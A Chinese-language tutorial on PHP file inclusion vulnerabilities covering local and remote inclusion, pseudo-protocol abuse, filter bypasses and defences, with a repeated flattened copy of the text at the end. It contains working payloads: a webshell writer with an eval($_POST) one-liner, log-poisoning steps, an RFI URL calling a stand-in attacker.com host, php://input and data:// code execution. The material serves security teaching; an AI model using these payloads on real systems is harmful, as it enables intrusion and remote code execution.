文件包含漏洞从入门到精通
字数 1688 2025-08-20 18:17:07

文件包含漏洞从入门到精通

一、文件包含漏洞概述

1.1 漏洞定义

文件包含漏洞是一种常见的Web安全漏洞,由于开发人员为了提高代码复用性和模块化,将可重复使用的函数或代码段写入单个文件,在需要时直接调用这些文件。当开发人员未对用户输入的参数进行正确过滤和检查时,攻击者可以控制包含文件的参数值,从而访问敏感文件或执行恶意代码。

1.2 相关函数

PHP中常见的文件包含函数有:

  • include():包含并运行指定文件,文件不存在发出警告,脚本继续执行
  • require():与include类似,但处理失败时报错,脚本终止
  • include_once():与include类似,但确保文件只被包含一次
  • require_once():与require相似,但确保文件只被包含一次

二、漏洞分类

2.1 本地文件包含(LFI - Local File Inclusion)

攻击者可以读取服务器上的任意文件,包括:

  • 敏感配置文件
  • 密码文件
  • 日志文件等

2.2 远程文件包含(RFI - Remote File Inclusion)

攻击者可以访问远程服务器上的文件或者下载、执行恶意代码

三、本地文件包含漏洞利用

3.1 文件读取

通过包含不存在的文件测试,可能暴露绝对路径:

if( isset( $file ) ) 
    include( $file ); 
else {
    header( 'Location:?page=include.php' ); 
    exit; 
}

常见敏感文件路径:

  • /etc/passwd:存储用户账号信息
  • /etc/shadow:存储用户密码的哈希值
  • Apache配置文件:
    • CentOS: /etc/httpd/conf/httpd.conf
    • Ubuntu: /etc/apache2/apache2.conf
  • Apache日志文件:
    • CentOS: /var/log/httpd/access_log
    • Ubuntu: /var/log/apache2/access.log
  • Nginx配置文件:/etc/nginx/nginx.conf
  • Nginx日志文件:/var/log/nginx/access.log

3.2 文件执行

通过上传包含PHP代码的文件并包含执行:

  1. 上传图片木马(如shell.jpg):
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass]);?>');?>
  1. 包含该文件执行PHP代码
  2. 使用蚁剑等工具连接生成的shell.php

3.3 配合日志文件getshell

  1. 访问不存在的路径,使请求被记录到日志
  2. 查看日志文件(如/var/log/nginx/access.log
  3. 在User-Agent中插入一句话木马
  4. 包含日志文件执行代码

四、远程文件包含(RFI)利用

4.1 基本利用

直接包含远程服务器上的恶意PHP文件:

http://victim.com/vulnerabilities/fi/?page=http://attacker.com/malicious.php

4.2 搭建简易HTTP服务

使用Python快速搭建HTTP服务:

python -m http.server 8000

五、伪协议利用

5.1 file://

读取本地文件:

file://[文件的绝对路径和文件名]

5.2 php://filter

用于数据流筛选过滤,常用于读取文件内容:

php://filter/read=convert.base64-encode/resource=文件路径

示例:

http://victim.com/fi/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

5.3 php://input

访问请求的原始数据,可执行POST提交的PHP代码:

http://victim.com/fi/?page=php://input

POST数据:

<?php system('id');?>

5.4 data://

执行PHP代码:

data://text/plain,<?php phpinfo();?>

或Base64编码:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

5.5 zip:// & bzip2:// & zlib://

访问压缩文件中的子文件:

  1. 压缩phpinfo.txt为phpinfo.zip
  2. 重命名为phpinfo.jpg并上传
  3. 包含:
zip:///path/to/phpinfo.jpg%23phpinfo.txt

六、绕过技术

6.1 大小写绕过

当过滤关键词如"http://"时:

HtTp://www.baidu.com

6.2 双写绕过

当过滤关键词时:

hthttp://tp://www.baidu.com

6.3 伪协议绕过

当使用fnmatch函数检查参数开头时:

file:///etc/passwd

七、防御措施

  1. 避免使用用户输入作为文件包含参数
  2. 如需使用,应严格过滤输入:
    • 检查包含文件是否在白名单中
    • 过滤../等目录遍历字符
    • 禁用危险伪协议
  3. 设置open_basedir限制文件访问范围
  4. 关闭不必要的PHP配置选项,如allow_url_fopenallow_url_include

八、总结

文件包含漏洞危害严重,可导致敏感信息泄露、系统命令执行等后果。开发人员应重视输入验证,安全人员测试时应全面考虑各种利用方式,包括本地文件包含、远程文件包含、各种伪协议利用以及可能的绕过技术。

文件包含漏洞从入门到精通 一、文件包含漏洞概述 1.1 漏洞定义 文件包含漏洞是一种常见的Web安全漏洞,由于开发人员为了提高代码复用性和模块化,将可重复使用的函数或代码段写入单个文件,在需要时直接调用这些文件。当开发人员未对用户输入的参数进行正确过滤和检查时,攻击者可以控制包含文件的参数值,从而访问敏感文件或执行恶意代码。 1.2 相关函数 PHP中常见的文件包含函数有: include() :包含并运行指定文件,文件不存在发出警告,脚本继续执行 require() :与include类似,但处理失败时报错,脚本终止 include_once() :与include类似,但确保文件只被包含一次 require_once() :与require相似,但确保文件只被包含一次 二、漏洞分类 2.1 本地文件包含(LFI - Local File Inclusion) 攻击者可以读取服务器上的任意文件,包括: 敏感配置文件 密码文件 日志文件等 2.2 远程文件包含(RFI - Remote File Inclusion) 攻击者可以访问远程服务器上的文件或者下载、执行恶意代码 三、本地文件包含漏洞利用 3.1 文件读取 通过包含不存在的文件测试,可能暴露绝对路径: 常见敏感文件路径: /etc/passwd :存储用户账号信息 /etc/shadow :存储用户密码的哈希值 Apache配置文件: CentOS: /etc/httpd/conf/httpd.conf Ubuntu: /etc/apache2/apache2.conf Apache日志文件: CentOS: /var/log/httpd/access_log Ubuntu: /var/log/apache2/access.log Nginx配置文件: /etc/nginx/nginx.conf Nginx日志文件: /var/log/nginx/access.log 3.2 文件执行 通过上传包含PHP代码的文件并包含执行: 上传图片木马(如shell.jpg): 包含该文件执行PHP代码 使用蚁剑等工具连接生成的shell.php 3.3 配合日志文件getshell 访问不存在的路径,使请求被记录到日志 查看日志文件(如 /var/log/nginx/access.log ) 在User-Agent中插入一句话木马 包含日志文件执行代码 四、远程文件包含(RFI)利用 4.1 基本利用 直接包含远程服务器上的恶意PHP文件: 4.2 搭建简易HTTP服务 使用Python快速搭建HTTP服务: 五、伪协议利用 5.1 file:// 读取本地文件: 5.2 php://filter 用于数据流筛选过滤,常用于读取文件内容: 示例: 5.3 php://input 访问请求的原始数据,可执行POST提交的PHP代码: POST数据: 5.4 data:// 执行PHP代码: 或Base64编码: 5.5 zip:// & bzip2:// & zlib:// 访问压缩文件中的子文件: 压缩phpinfo.txt为phpinfo.zip 重命名为phpinfo.jpg并上传 包含: 六、绕过技术 6.1 大小写绕过 当过滤关键词如"http://"时: 6.2 双写绕过 当过滤关键词时: 6.3 伪协议绕过 当使用fnmatch函数检查参数开头时: 七、防御措施 避免使用用户输入作为文件包含参数 如需使用,应严格过滤输入: 检查包含文件是否在白名单中 过滤 ../ 等目录遍历字符 禁用危险伪协议 设置 open_basedir 限制文件访问范围 关闭不必要的PHP配置选项,如 allow_url_fopen 和 allow_url_include 八、总结 文件包含漏洞危害严重,可导致敏感信息泄露、系统命令执行等后果。开发人员应重视输入验证,安全人员测试时应全面考虑各种利用方式,包括本地文件包含、远程文件包含、各种伪协议利用以及可能的绕过技术。